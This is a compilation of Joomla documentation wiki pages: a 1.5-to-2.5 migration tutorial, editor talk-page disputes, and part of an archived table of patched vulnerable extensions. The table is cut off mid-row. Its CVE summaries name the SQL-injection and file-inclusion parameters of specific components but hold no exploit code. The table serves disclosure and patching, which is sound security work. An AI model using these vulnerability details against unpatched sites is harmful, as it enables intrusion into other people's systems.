Because the changes from Joomla 1.5 to 2.5 are so large and because of the massive effort put into getting Joomla 2.5 to where it is today, there is no core upgrade path. This is indeed a migration. In planned future releases of Joomla (which will be released every 6 months), such as Joomla 3.0, 3.5 and so on, the changes from version to version will be more incremental and a core upgrade path is planned.
Now that Joomla 2.5 is finally here and stable, a community initiative led by the developers of Joomla is turning towards [http://extensions.joomla.org/extensions/migration-a-conversion/joomla-migration/11658 jUpgrade] (a 3rd party Joomla extension on the JED originally developed by Matias Aguirre) for help and to help. Many of Joomla's developers (who are all volunteers that freely contribute their time) are volunteering to put the finishing touches on [http://extensions.joomla.org/extensions/migration-a-conversion/joomla-migration/11658 jUpgrade].

[http://extensions.joomla.org/extensions/migration-a-conversion/joomla-migration/11658 jUpgrade] allows you to migrate from Joomla 1.5 to 2.5.

Other migration solutions including commercial solutions are listed on the [http://extensions.joomla.org/extensions/migration-a-conversion/joomla-migration Joomla Extensions Directory] and should be considered as well. Other tools are not included in this tutorial but should be given consideration before you use jUpgrade if your time is highly valuable and limited.

Let's get started!
==Review the Requirements==
Please, please save yourself (and possibly your clients) a lot of headaches and make sure that your server (and in the case of jUpgrade, your browser too) is up for the task. Please review the [http://docs.joomla.org/Joomla_1.6_technical_requirements technical requirements for Joomla! 1.6]. Please review the [http://redcomponent.com/redcomponent/jupgrade requirements for jUpgrade] as well.

==Before You Get Started==
Before you get started, there are a few things that you are going to have to check and/or think about:
# Is your Joomla 1.5 version up to date? The most up-to-date version of Joomla 1.5 is 1.5.26. If your version is not up-to-date, upgrade to 1.5.26 before migrating, especially if you are running Joomla 1.5.19 or lower, as JUpgrade does not support older versions. Read [http://docs.joomla.org/Downloading_older_releases how to download older releases of Joomla!]. You will need the Joomla! 1.5.0 to Joomla! 1.5.25 package with file name: [http://joomlacode.org/gf/download/frsrelease/16025/69668/Joomla_1.5.0_to_1.5.25-Stable-Patch_Package.zip Joomla_1.5.0_to_1.5.25-Stable-Patch_Package.zip] < direct download link. Read how to update from Joomla! 1.5.x to the latest version [http://docs.joomla.org/Upgrading_1.5_from_an_existing_1.5x_version how to update from Joomla! 1.5.x to the latest version].
# Do all your extensions have Joomla 2.5 native versions? You can use Advanced Search on the [http://extensions.joomla.org Joomla! Extensions Directory] to see what extensions support 2.5. Please note that jUpgrade is not currently able to upgrade all Joomla 3rd party extensions, so those will have to be done via their respective upgrade procedures. Supported by jUpgrade on January 2012 are AdminPraise, Kunena, K2, JoomComment, Virtuemart, redSHOP, CommunityBuilder, JCE, Contact Enhanced, JomSocial, redForm, JEvents, Akeeba Backup, Jumi and redMEMBER.
# Have you modified any core files? Any changes that you have made to core files in Joomla will be lost so please be forewarned.
# Is there a Joomla 2.5 compatible template available from your template provider? If not, do you feel comfortable making the changes yourself? There are a couple good resources:
## [http://community.joomla.org/blogs/community/1257-16-templates.html Chad Windnagle's Joomla Community blog]
## [http://www.slideshare.net/chrisdavenport/template-changes-for-joomla-16 Chris Davenport's "Template Changes for Joomla 1.6" presentation]
## [[Upgrading a Joomla 1.5 template to Joomla 1.6|Joomla's Docs Template Tutorial]] Please note that although jUpgrade is not able to currently upgrade templates, the developers are working hard at implementing the feature.
# Is your language pack available in Joomla 1.6? [http://community.joomla.org/translations/joomla-16-translations.html Find your Joomla1 1.6 Translation].
# Do you have folder or file permissions issues in your Joomla 1.5 installation?
# Do you NEED to migrate to Joomla 2.5 Joomla 1.5 is powerful and very mature. For many people there is not a need to rush into Joomla 2.5. Joomla will continue to support Joomla 1.5 at least till April 2012, releasing security updates and bug squashing updates when needed.
#: The two main features of Joomla 2.5 that makes it superior to Joomla 1.5 are: Access Control List (ACL) and nested categories. Gone are the days of simply having guests, registered users, authors, and editors, without being able to specify what they can and can't do in the frontend. Also, with 2.5 you can have more flexibility of organizing (and therefore displaying) your content with nicely organized categories within categories. No more being restricted to the section >> category structure. Those are all great things to have (especially the ACL), however, for many 1.5 users, it isn't needed. The main point is to decide for yourself.
#: For a massive list of changes from Joomla 1.5 to Joomla 1.6, please see [[What's new in Joomla 1.6]].

==Backup, Backup, Backup==
Skipping this part is perhaps the biggest mistake you can make. If you have a proper backup (or several) you can always revert if needed. However, if you don't properly backup your site and something goes wrong, you are going to waste a lot of valuable time and sometimes money, getting things back to the way they were. So please backup!

=== Using XCloner to Backup ===
* With XCloner you can backup your site fully, both files and database

* XCloner will produce TAR archives which can be opened with most archive clients

* After creating the backup, they can easily be restored by using its dedicated restore script

* XCloner can be downloaded for free from http://www.xcloner.com; a full documentation usage wiki is here: http://www.xcloner.com/wiki/index.php/Main_Page

=== Using Akeeba to Backup ===
* Akeeba Backup produces a .jpa file

* The .jpa file contains all the folders and files and the MySQL database of your site.

* The .jpa file also contains an installer

* Kickstart.php (also from Akeeba) unpacks the .jpa file and then runs the installer

Akeeba and Kickstart can be downloaded from [http://extensions.joomla.org/extensions/access-a-security/site-security/backup/1606 Joomla extension directory]. There is a link to full instructions as well.

=Upgrading with jUpgrade=
==Download jUpgrade==
Download the [http://extensions.joomla.org/search?q=jupgrade latest version of jUpgrade]. It is highly advisible, especially when development still is progressing, to always use the latest available version!

==Optional Testing Environment==
If you are really nervous by this point and your heart is beating fast, then you should probably set up a testing environment.

=== Install XAMPP ===
XAMPP is an easy-to-install package that bundles the Apache web server, PHP, XDEBUG, and the MySql database. This allows you to create the environment you need to run Joomla! on your local machine. The latest version of XAMPP is available at [http://www.apachefriends.org/en/xampp.html the XAMPP web site]. Downloads are available for Linux, Windows, Mac OS X and Solaris. Download the package for your platform.

''Important Note Regarding XAMPP and Skype:'' Apache and Skype both use port 80 as an alternative for incoming connections. If you use Skype, go into the Tools-Options-Advanced-Connection panel and deselect the "Use 80 and 443 as alternatives for incoming connections" option. If Apache starts as a service, it will take 80 before Skype starts and you will not see a problem. But, to be safe, disable the option in Skype.

'''Update'''

''As of August 5, 2010, XDebug has been updated (to version 2.1) which fixes some important bugs (for example, watching local variables for nesting functions). The latest XAMPP package (1.7.3) now includes this new version of XDebug. If you just want to update XDebug, you can download the latest module from [http://www.xdebug.org]. There is a handy website that tells you which XDebug binary you need, depending on your phpinfo() information [http://xdebug.org/find-binary.php here]. To use it, you just copy the output of your phpinfo() display and paste it into the form on the site.''

==== Installation on Windows ====
Installation for Windows is very simple. You can use the XAMPP installer executable (for example, "xampp-win32-1.7.3-installer.exe"). Detailed installation instructions for Windows are available [http://www.apachefriends.org/en/xampp-windows.html here].

For Windows, it is recommended to install XAMPP in "c:\xampp" (not in "c:\program files"). If you do this, your Joomla! (and any other local web site folders) will go into the folder "c:\xampp\htdocs". (By convention, all web content goes under the "htdocs" folder.)

If you have multiple http servers (like IIS) you can change the xampp listening port. In <xamppDir>\apache\conf\httpd.conf, modify the line Listen 80 to Listen [portnumber] (ex: "Listen 8080").

==== Installation on Linux ====
This guides you through the installation of Xampp on '''Debian GNU Linux''' or one of its derivatives such as '''Ubuntu''', '''Knoppix''' or '''GRML'''. Note that this guide applies to Joomla! {{JVer|1.5}} {{JVer|1.6}} {{JVer|1.7}} {{JVer|2.5}}. It has been successfully tested on Debian 4.0 [Etch], Debian 5.0 [Lenny], Ubuntu 8.04 LTS [Hardy Heron], Ubuntu 10.10 [maverick] and Ubuntu 11.10 (Oneiric Ocelot). It will work for all '''Debian''' based Linux distribution as well.

Download [http://sourceforge.net/projects/xampp/files/XAMPP%20Linux/ XAMPP] for Linux to your your Home folder.

Open Terminal and enter:

<source lang="bash">
sudo tar xvfz xampp-linux-1.7.7.tar.gz -C /opt
</source>

(replace ''xampp-linux-1.7.7.tar.gz'' with the version of XAMPP you downloaded).

This installs ... Apache2, mysql and php5 as well as an ftp server.

<source lang="bash">
sudo /opt/lampp/lampp start
</source>

and
<source lang="bash">
sudo /opt/lampp/lampp stop
</source>

starts/stops all the services

===== Configure Xampp Error Reporting on Linux =====
By default error reporting in Xampp is set Development level. This causes several error messages on the screen that need not concern the average user. To prevent that from happening:

In your Terminal type
<source lang="bash">
sudo gedit /opt/lampp/etc/php.ini
</source>

In the <tt>php.ini</tt> file, locate
<source lang="ini">
error_reporting =
</source>
And change the value to
<source lang="ini">
error_reporting = E_ALL & ~E_NOTICE & ~E_DEPRECATED
</source>

Also locate
<source lang="ini">
display_errors = On
</source>
And change the value to
<source lang="ini">
display_errors = Off
</source>

Stop then restart XAMPP for the new settings to take effect

===== To Create a GUI for XAMPP Connected to Your Ubuntu Menu =====
Open up the Terminal and type
<source lang="bash">
sudo gedit /usr/share/applications/xampp-control-panel.desktop
</source>

Then copy the following into the gedit and save.

<source lang="ini">
[Desktop Entry]
Encoding=UTF-8
Name=XAMPP Control Panel
Comment=Start and Stop XAMPP
Exec=gksudo "python /opt/lampp/share/xampp-control-panel/xampp-control-panel.py"
Icon=/usr/share/icons/Tango/scalable/devices/network-wired.svg
Terminal=false
Type=Application
Categories=GNOME;Application;Network;
StartupNotify=true
</source>

'''N.B.''' Ubuntu 11.10 needs ''python-glade2'' installed in order to run the GUI. ''python-glade2'' can be found in the Ubuntu Software Center.

===== Avoiding File Ownership Issues on Linux =====
Connect to localhost with an FTP client
Default
nobody
lampp

Use your ftp client to create folders in your localhost and to copy files to/from your localhost.

'''Important:'''
* The XAMPP installation sets the correct Ownership of the files and permissions.
* Using the '''CHOWN command''' will '''cause Ownership problems with xampp'''.
* '''Using nautilus''' to manipulate folders/files on localhost will '''cause Ownership problems with xampp'''.

==== Test Your XAMPP localhost Server ====
Open your Browser and point it to
http://localhost
The index.php will redirect to
http://localhost/xampp

There you will find instructions on how to change default usernames/passwords. On a PC that does not serve files to the Internet or LAN then changing the defaults is personal choice.

== EasyPHP ==

Another way that will have the same result is to install EasyPHP, is an easy to install package, Nothing to configure. It's already done! You just need to download, intall ... it installs a complete WAMP environment for PHP developers on Windows, including PHP, Apache, MySQL, phpMyAdmin, xdebug ... The complete and ready-to-use environment for PHP developer. For download EasyPHP[http://www.easyphp.org/]

== Install jUpgrade ==
Go to your Joomla backend. e.g. www.yoursite.com/administrator

'''Extensions''' >> '''Install/Uninstall'''

[[Image:Installjupgrade.png|alt=Installing jUpgrade]]

'''Browse''' >> '''Select com_jupgrade''' >> '''Upload File & Install'''

[[Image:browse.png|Browse and Upload Component]]

[[Image:Installjupgrade2.png|alt=Installing jUpgrade]]

== Enable Mootools Upgrade Plugin ==
# Go to Extensions | Plugin Manager
# Search for "System - Mootools Upgrade"
# Enable the plugin
It is important that this plugin is installed and that it has been set to enabled, as the proper functioning of jUpgrade depends on it.

== Configure the Options ==
As of jUpgrade version 2.5, support is present to migrate to Joomla! 1.7 and Joomla! 2.5. Configure the options by navigating to Administrator > Components > jUpgrade > Parameters.

'''Global'''
* Distribution - Select whether to migrate to Joomla! 1.6 or 2.5
* Prefix for old database - Your current table prefix
* Prefix for new database - Your selected table prefix for your migrated site

'''Skips'''
* Skip checks - Skip pre-migration checks
* Skip download - Skip downloading the package (Note: Must have a package already downloaded to your temp folder or set this and Skip Decompress if set to yes)
* Skip decompress - Skip decompressing the downloaded package (Note: Must have a package already downloaded and decompressed to site_root/jupgrade if set to Yes)

'''Templates'''
* Keep original positions - Keep the currently defined positions for modules

'''Debug'''
* Enable Debug - Enable this to have messages displayed below the migration process concerning the progress, helpful if having issues

[[Image:Jupgrade_options.png|alt=jUpgrade 1.1.1 Options]]

When finished, Save the options.

== Migration ==
'''Components''' >> '''jUpgrade'''

[[Image:Accessjupgrade.png]]

'''Start Upgrade'''

[[Image:Startjupgrade.png|alt=Start jUpgrade]]

[[Image:Runjupgrade.png|alt=Run jUpgrade]]

'''Do not exit the screen''' until everything has finished loading. Scroll down to check if finished.

[[Image:Jupgradefinished.png|alt=jUpgrade Finished]]

Note that jUpgrade currently does not migrate custom and add-on templates. Only the default templates are initially installed. You must manually migrate the other templates.

==Behind the Scenes==
Even if the migration process was not 100% successful, your Joomla 1.5 is still intact and none of your users are affected. You have an opportunity to check out your site both in the frontend and the backend to make sure everything is working.

So what actually happens? jUpgrade downloads the version of Joomla that you selected to the ''jupgrade'' directory (which it creates) in the root folder of your Joomla 1.5 installation. It then extracts all the files from the download. Once extraction has completed, jUpgrade installs the new Joomla version and then migrates your old database to the new database which it has created. Your new site will be installed in www.mysites.com/jupgrade assuming that your Joomla 1.5 installation is in your html root.

==Check Your New Joomla! Installation==
Please do a full site review of your new Joomla installation and make sure everything is set up properly.
Your new Joomla site will be installed in www.mysites.com/jupgrade assuming that your Joomla 1.5 installation is in your html root.
Here is a general checklist:
* Banners
* Categories
* Contacts
* Content
* Menus
* Modules
* Newsfeeds
* Users

Links to external sites probably didn't change during the migration but the internal links might have been affected. Verify that all external and internal links are correct with a program such as [http://home.snafu.de/tilman/xenulink.html Xenu's Link Sleuth].
===Templates===
Work is currently being done on the template upgrade feature of jUpdate and it is not yet fully functional. Your module positions may have to be adjusted in the module manager.

If you had custom templates or templates other than those installed as defaults, they may have been copied from your version 1.5 files. If so, they now must be upgraded or modified and then Discovered. See [[Upgrading a Joomla 1.5 template to Joomla 2.5]].

==Backup Joomla!==
If everything looks good to go, backup the new Joomla installation.
==Overview of the Rest of the Process==
Quick overview of what we are going to try to do now:
# Relocate our Joomla 1.5 installation to a subfolder as a "just in case".
# Relocate our new Joomla installation to the html folder.
'It should happen in this order' If you do it in reverse order, the new Joomla files will get mixed with the Joomla 1.5 files (many of 1.5 files will be overwritten) and you will have a big mess! Your site will likely still work, but it's a security ticking time bomb waiting to go off.

==Going Live==
Next log onto your host's file manager (e.g. cPanel, Plesk, etc) or an FTP Client, however, preferably a file manager.
The general procedure is (it should take about 30 seconds if you review the steps before you start):
# Create a subfolder (e.g. myoldsite) for the Joomla 1.5 installation in your html root, e.g. public_html/myoldsite
# Select all the folders (***except the jupgrade folder***) and files in the html root and move them into the Joomla 1.5 subfolder (e.g. myoldsite)
# Select all the folders and files in the jupgrade folder and move them to the html root
# Double check the frontend and backend

== Clean the Database ==
This procedure is optional. In the process of migration using jUpgrade, the MySQL database has grown. At the end of the migration, the old tables and some newly-acquired tables are no longer needed.

=== Verify the Database Prefix ===
In your new site's Administrator, open the Global Configuration page. Then select the Server tab and look in the Database Settings area for the Database Tables Prefix field. Any tables with that prefix must not be removed during the following cleaning operations.

=== Use PHPMyAdmin to Remove Excess MySQL Tables ===
# Backup the database by Exporting it. If you Drop essential tables, your site will break. Be prepared to Import the database backup and start over.
# In the database Structure display, check and then Drop the tables with the "jupgrade_" prefix.
# Test your site. If it still functions, continue. If not, restore the database by Importing it.
# Check and drop tables associated with your old Joomla 1.5 site. Those usually have the "jos_" prefix.
# Test your site again. If all is well, continue.
# Verify that the remaining tables have the prefix noted earlier on your site's Global Configuration page. Remove any additional tables without that prefix.
# Site still working? If so, you're done with this procedure.

=How to Manually Migrate Joomla=
If Jupgrade did not work out for you like many of us, you might want to consider manual upgrade. '''Be warned, however, that this process is very tedious (especially see step 6 below), and the procedure is not well tested as of yet (if at all)'''. So just like the Jupgrade method, you will want to backup your database just in case. Before upgrading you should check to make sure every extension you want is Joomla 2.5 compatible. Also back up your directory files just in case and keep a list of the extensions you used.

Now onto the upgrade; please note that the following procedure should only be chosen if all else fails, and requires a good working knowledge of MySQL! See the last paragraph of this section for a possibly less tedious alternative to doing steps 1, 2, 6 and 7) :

'''Step 0:''' First of all, as always before big changes, backup all your data; that includes all files as well as exporting all database tables.

'''Step 1:''' If you want, you can convert the prefixes of all the tables in your database. This is especially useful if you would like to keep your 1.5 database in parallel to your new installation, at least for the transition period. It is best done using a script; the "MySQL Table Prefix Changer Tool" available at [http://www.nilpo.com/2009/01/web-development/mysql-table-prefix-changer-tool/ Nilop] is one that worked well.

'''Note:''' Executing this script will stop your old site from working because after the prefix conversion, your old installation can't access the database anymore (it will still try to access the tables by their old prefix)! If you wish to re-enable your old Joomla installation, wait until the script has finished and import the database you exported in step 0.

In order to run the script, first upload it via FTP to the root of your site. Now you can launch it by pointing your browser at '''Mysite.com'''/prefix.php (assuming you named the script "prefix.php"). The script will ask you for several pieces of information before it can do its job. Among them is of course the new prefix you wish to use for the new version of Joomla. Joomla 1.5 defaults to a prefix of "jos" -- whatever prefix you choose make sure it is different from that; we recommend "jml" or "j16", for example. Once you have filled in all the information, the script is ready to perform the prefix conversion.

[[File:Changer.JPG|center]]

Notice in the following screen shot that the table prefix of our Joomla 1.5 installation is "jos":
[[File:Tables.JPG|thumb|center|500px]]

For Joomla 2.5 you want it converted to "jml" as seen here:
[[File:Prefix.JPG|thumb|center|500px]]

'''Step 2:''' Export all the database tables you would like to use on your Joomla 1.6+ site. Usually this corresponds to content and components.

[[File:Export.JPG|thumb|center|500px]]

'''Step 3:''' Uninstall your old site including the database, files, and directories that are associated with Joomla. Or if you would rather just test the upgrade, skip this step and create a new directory for your joomla 2.5 installation.

'''Step 4:''' Install the new version of Joomla via FTP or cPanel. If you have no database associated with it, install a new database and user.

'''Step 5:''' Install upgraded components and other extensions you used before onto your new Joomla 2.5 site. This should be done now to prevent your old database tables from getting overwritten later. '''Note:''' It is possible that some developers made changes to the SQL schema of individual tables when they upgraded their extension to joomla 2.5. We recommend that you check the documentation for each extension you had installed on your old Joomla site and for which you install an upgrade into your new Joomla site concerning special database upgrade considerations.

'''Step 6: ''' Convert the table schemas in the .sql file you exported in step 2 (containing your Joomla 1.5 tables) such that they are compatible with the version of Joomla! you are upgrading to. This is a very tedious process - you'll have to check the database schemas for changes between the version of Joomla you're upgrading from and the 2.5 version you're upgrading to, and modify the SQL file accordingly. '''Note:''' This step could use a more detailed description, if you have ever done a manual Joomla migration, please help and share your experiences and knowledge here!

'''Step 7:''' Import the upgraded .sql file into your Joomla 2.5 database.

'''Keep the following in mind:''' It is possible for settings to get lost depending on how each component stored them. From personal experience it worked just fine, but you may want to review the settings of each component.

For an easier way to migrate articles, categories/sections, contacts, images, and users, be sure to use [http://extensions.joomla.org/extensions/migration-a-conversion/data-import-a-export/12816 J2XML] for exporting and [http://extensions.joomla.org/extensions/migration-a-conversion/joomla-migration/15807 J2XML Importer] for importing the data.

=Troubleshooting=
* Verify that you have PHP version 5 or later. (use ''phpinfo()'' or ''/usr/bin/php --version'')
* '''jUpgrade cannot download Joomla x.y package?''' - When the download fails (timeouts, JavaScript issues, etc.) you can download it manually here: [http://joomlacode.org/gf/project/joomla/frs/ Browse Releases at Joomlacode.org]. Put the downloaded file into your ROOT/tmp directory. Then, in the preferences of jUpgrade, you must set 'Skip Download' to 'Yes'. After that, run the jUpgrade again.
* '''Are you getting errors with the progress bar in Internet Explorer (Windows XP)?''' - Use the Firefox browser: http://www.mozilla.com/en-US/firefox/
* Go through the Requirements and Before You Get Started sections above and double check everything!
* '''Report Bugs:''' http://matware.com.ar/foros/jupgrade.html
* '''Support:''' http://matware.com.ar/foros/jupgrade.html
==Check for Override Errors==
Turn on debug feature: Administrator > Site > Global Configuration > System > Debug Settings > Debug System > Yes.

Load a page of the Website. Any errors? If you see any errors reported or if the content does not appear, remember that overrides must also be edited when moving from version 1.5 to later versions.

Does your (custom) template have an ''html'' directory? If yes, that indicates the presence of overrides. You can quickly check whether overrides are causing problems. Temporarily rename the ''templates/<template_name>/html'' directory.

Another method to locate template problems is to switch to one of the templates provided in the core distribution of Joomla such as Beez.

=How You Can Contribute and Help=
Creating an extension as significant as jUpgrade requires an enormous amount of time and effort considering the major structural changes between Joomla 1.5 and the later versions. Add to this the fact that during each release of Joomla 1.6 betas, the extension would have to be modified to work with the new changes between releases, and all of a sudden it's too hard for any one person to complete in a short period of time (especially when you are not being paid).

With this being said, it's time to step up and make a difference, whether big or small. Have you profited from Joomla in the last year? Are you excited about the future of Joomla? Would you like to contribute back and show your gratitude? Now you can in this project!
We, as part of the Joomla community, are calling on the entire Joomla community to help out in whatever way you can. You don't have to be a master developer, just go through this tutorial on a test site and if you come across any bugs, report it. If you know how to fix it, create a patch for it. If you are a master developer, step up to the challenge.
* You can volunteer and ask questions about volunteering here: http://redcomponent.com/forum/92-jupgrade
[[Category:Joomla! 2.5]]
[[Category:Migration]]
[[Category:Installation]]

Talk:Help! Your site's been compromised. Now what?

2012-12-04T16:24:22Z

Phild: suggested page deletion

'''<big>This document is out of date and irrelevant and should be deleted.</big>'''

Relevant up to date documentation can be found at the [[Security Checklist/You have been hacked or defaced]] doc page and includes links to other relevant articles in the Security series.
Additional information on repairing a compromised website is also available in the sticky forum topic [http://forum.joomla.org/viewtopic.php?f=621&t=582854 Before you post : read and action this] and by making a post in the appropriate [http://forum.joomla.org/index.php Security Forums ] for the version of Joomla used.

User talk:Tom Hutchison

2012-11-26T16:40:11Z

Phild: /* Moving sensitive files outside the web root archive */ new section

== vel list ==

I have reverted your changes.
With all due respect enzsure that before you alter anything protected you should read and observe the comments on the talk pages
namely

Talk:Vulnerable Extensions List
Jump to: navigation, search

All questions should be addressed to the vel @ joomla.org email address (without the spaces)

Only known users to edit anything previously agreed items on this page.

== cont ==

In response to youre previous message - not sure why you added on my talk page but still
Beyond the cut and paste of previous editors comments.
Please ask Chris Davenport for the history on this document, and if you have any concerns or questions contact the vel team as detailed to do on the vel talk page.
:I posted on your talk page, because I have no way of knowing if you are watching my talk page for replies without certain installed Mediawiki extensions. Will PM you and Phil on the forum. [[User:Hutchy68|Tom Hutchison]] ([[User talk:Hutchy68|talk]]) 16:04, 22 October 2012 (CDT)

Received no PM or email to the vel list from you. Your rechanges reversed.
--[[User:Mandville|Mandville]] ([[User talk:Mandville|talk]]) 12:50, 27 October 2012 (CDT)

:Phil already reverted the mis-spelling, the categorisation of the page stands as is and will. Since it was for enhancement suggestions, I didn't realise the clock was ticking. I have been trying to research everything, because I wanted to address all concerns with solutions. At this point, I am probably just wasting my time and effort. [[User:Hutchy68|Tom Hutchison]] ([[User talk:Hutchy68|talk]]) 14:27, 27 October 2012 (CDT)

== Security checklist 7 ==

in reference to history entry for the checklist 7, 16:44, 13 October 2012‎ - (Removed protection from "Security Checklist/You have been hacked or defaced": hmm, don't know why this was protected, error - reset to all edit)

http://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced
and history
http://docs.joomla.org/index.php?title=Security_Checklist/You_have_been_hacked_or_defaced&action=history

The checklist was protected as incorrect and sometimes potentially damaging edits were being made mainly to the Chmod and Cron section shell scripts of the page.

This goes back to a few pages are protected for a reason. The reason in this case for the safety of the end users site. While I would suggest this page remain protected from regular editing for reasons outlined above, Though I would feel better if the page was again protected, I will let it stay as unprotected for now unless another incident of changing or modifying the shell scripts occurs which would potentially damage or delete someones site if the modified script(s) are used before the changes can be rolled back.
:Protected again to keep the content of the page from being changed. I also added the Permissions page into the series. [[User:Hutchy68|Tom Hutchison]] ([[User talk:Hutchy68|talk]]) 07:11, 29 October 2012 (CDT)

-----
Please revert the title of the page as was. It is universally known as checklist 7.
It was and is part of the security checklists 1-6
Please also reneable full protection of the document to those previously listed - namely PhilD, myself and Lafrance.
This is another previously agreed protected, nominated document.

--[[User:Mandville|Mandville]] ([[User talk:Mandville|talk]]) 17:13, 3 November 2012 (CDT)

:Protection was enabled days ago, Security Checklist 7 can still be referenced, it now redirects to the page. You need to understand, documentation is changing, improving, becoming more organized for Joomla! users. Nothing is ever set in stone. Even Joomla! improves and new releases are now being done at a set pace. [[User:Hutchy68|Tom Hutchison]] ([[User talk:Hutchy68|talk]]) 17:24, 3 November 2012 (CDT)

== Moving sensitive files outside the web root archive ==

Tom the page looks good Thanks

Talk:Moving sensitive files outside the web root

2012-11-26T16:35:38Z

Phild: /* Looks Good */ new section

Using symlinks?

Can the same kind of security not be reached using a symlink on *nix systems? So you place the configuration.php above the webroot and place a symlink from the original position to the new place of the configuration.php?

== Symlinks defeat this. ==

Normally, web servers will follow symlinks. (although this is configurable on most web servers.)

If you move files out of the web root and make a symlink to them the files are still readable by the world.

The advantage of moving read only files out of the web root and making a symbolic link to them is that it allows you to segment your auditing of your server, and allows things as simple as find -type f to locate all files to be audited after a suspected intrusion.

Further more, symlinks can cause certain attacks to fail as they are based on assumptions that are not true.

I am a big fan of symlinks, but they are no substitute for not allowing access to the files in question.

== Discussion on the forum ==

Moving the reference to the discussion on the forum over to this page. Thread on the forum: [http://forum.joomla.org/viewtopic.php?f=432&t=490901 forum topic]

== This page should probably be moved. ==

As the page notice indicates, the security information on this page is generally accepted by the security moderators as no longer relevant and provides no additional or very minimal additional security to a website. This page currently remains for historical purposes and should either be deleted, removed from the multiple categories it currently resides in and moved into the new security area.

[[User:Phild|phild]] ([[User talk:Phild|talk]]) 17:48, 13 November 2012 (CST)

:Hi Phil, If I'm understanding you right, strip all categories and use a new one called [[:Category:Security Archives]]. Then update the [[Security]] page to show archived security articles in a new box or DPL'd from the category. [[User:Hutchy68|Tom Hutchison]] ([[User talk:Hutchy68|talk]]) 07:43, 15 November 2012 (CST)

== Looks Good ==

The page archive looks good.

Archived:Cleared vulnerable extensions

2012-11-23T23:00:20Z

Phild: Protected "Cleared vulnerable extensions" (‎[edit=sysop] (indefinite) ‎[move=sysop] (indefinite))

{{underconstruction}}

Previously Vulnerable extensions that are now patched are shown in blue

'''This list is compiled from found information and may not be an up to date accurate list''' ''We do '''NOT''' promise to test or validate these reports. We do '''NOT''' guarantee the quality or effectiveness of any updates reported to us or listed here.''
To sign up for the feed please [http://feeds.joomla.org/JoomlaSecurityVulnerableExtensions follow this link]

== November 2009 Compiled Vulnerability Reports. ==

Items are not in any particular order.

{| class="wikitable sortable" border="1"
|-
! '''Extension'''
! class="unsortable"| '''Details'''
! '''Reference Link'''
! '''Extension Update Link'''
|-
| style="background:#cef2e0; color:black" | '''com_ajaxchat'''
| Summary: PHP remote file inclusion vulnerability in Fiji Web Design Ajax Chat ('''com_ajaxchat''') component 1.0 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALS[mosConfig_absolute_path] parameter to tests/ajcuser.php.New version release December 22,2009
Published: october 28 2009
| [[NIST:CVE-2009-3822|CVE-2009-3822]]
| style="background:#cef2e0; color:white" | [http://extensions.joomla.org/extensions/communication/chat/10767 update v 1.1]
|-
| style="background:#cef2e0; color:black" | '''com_foobla_suggestions'''
| Summary: SQL injection vulnerability in the foobla Suggestions ('''com_foobla_suggestions''') component 1.5.11 for Joomla! allows remote attackers to execute arbitrary SQL commands via the idea_id parameter to index.php.
Published: 10/11/2009
CVSS Severity: 7.5 (HIGH)
| [[NIST:CVE-2009-3669|CVE-2009-3669]]
| style="background:#cef2e0; color:white" | [http://foobla.com/news/latest/fixed-foobla-suggestions-for-joomla-idea_id-sql-injection-vulnerability.html developer reported upgrade]
|-
| style="background:#cef2e0; color:black" | '''com_cbresumebuilder'''
| Summary: SQL injection vulnerability in the JoomlaCache CB Resume Builder (''''''com_cbresumebuilder''') component for Joomla! allows remote attackers to execute arbitrary SQL commands via the group_id parameter in a group_members action to index.php.
Published: 10/09/2009
CVSS Severity: 7.5 ('''HIGH''')
| [[NIST:CVE-2009-3645|CVE-2009-3645]]
| style="background:#cef2e0; color:white" |'''[http://www.joomlacache.com/commercial-extensions/security-update.html Developer Update]'''
|-
| style="background:#cef2e0; color:black" |'''com_idoblog'''
| Summary: SQL injection vulnerability in the IDoBlog ('''com_idoblog''') component 1.1 build 30 for Joomla! allows remote attackers to execute arbitrary SQL commands via the userid parameter in a profile action to index.php, a different vector than [[NIST:CVE-2008-2627|CVE-2008-2627]].
Published: 09/25/2009
CVSS Severity: 7.5 ('''HIGH''')
| [[NIST:CVE-2009-3417|CVE-2009-3417]]
| style="background:#cef2e0; color:white" |'''[http://idojoomla.com/download.html/ '''New Version v 1.1''' (build 32)]'''
|-
| style="background:#cef2e0; color:black" |'''com_alphauserpoints'''
| Summary: SQL injection vulnerability in frontend/assets/ajax/checkusername.php in the AlphaUserPoints ('''com_alphauserpoints''') component 1.5.2 for Joomla! allows remote attackers to execute arbitrary SQL commands via the username2points parameter.
Published: 09/24/2009
CVSS Severity: 7.5 ('''HIGH''')
| [[NIST:CVE-2009-3342|CVE-2009-3342]]
| style="background:#cef2e0; color:white" |'''[http://www.alphaplug.com/index.php/news/142-alphauserpoints-153-released.html 1.5.3]'''
|-
| style="background:#cef2e0; color:black" | '''com_jreservation'''
| Summary: SQL injection vulnerability in the [http://extensions.joomla.org/extensions/vertical-markets/booking-a-reservation/9798 JReservation] ('''com_jreservation''') component 1.0 and 1.5 for Joomla! allows remote attackers to execute arbitrary SQL commands via the pid parameter in a propertycpanel action to index.php.
Published: 09/23/2009
CVSS Severity: 7.5 ('''HIGH''')
| [[NIST:CVE-2009-3316|CVE-2009-3316]]
| style="background:#cef2e0; color:black" | [http://www.jforjoomla.com Updated 28th] Jan fixed 13th Nov
|-
| style="background:#cef2e0; color:black" | '''com_aclassf'''
| Summary: SQL injection vulnerability in the Almond Classifieds ('''com_aclassf''') component 7.5 for Joomla! allows remote attackers to execute arbitrary SQL commands via the replid parameter in a manw_repl add_form action to index.php, a different vector than [[NIST:CVE-2009-2567|CVE-2009-2567]].
Published: 09/10/2009
CVSS Severity: 7.5 ('''HIGH''')
| [[NIST:CVE-2009-3154|CVE-2009-3154]]
| style="background:#cef2e0; color:white" | [http://www.almondsoft.com/alcl.html Developer latest component]
|-
| style="background:#cef2e0; color:black" | '''com_agora'''
| Summary: Directory traversal vulnerability in the Agora ('''com_agora''') component 3.0.0b for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the action parameter to the avatars page, reachable through index.php.
Published: 09/03/2009
CVSS Severity: 6.8 ('''MEDIUM''')
| [[NIST:CVE-2009-3053|CVE-2009-3053]]
| style="background:#cef2e0; color:white" |'''[http://jvitals.com/index.php?option=com_rokdownloads&view=file&Itemid=108&id=282:agora-3-0 3.0.7]'''
|-
| style="background:#cef2e0; color:black" | '''com_content'''
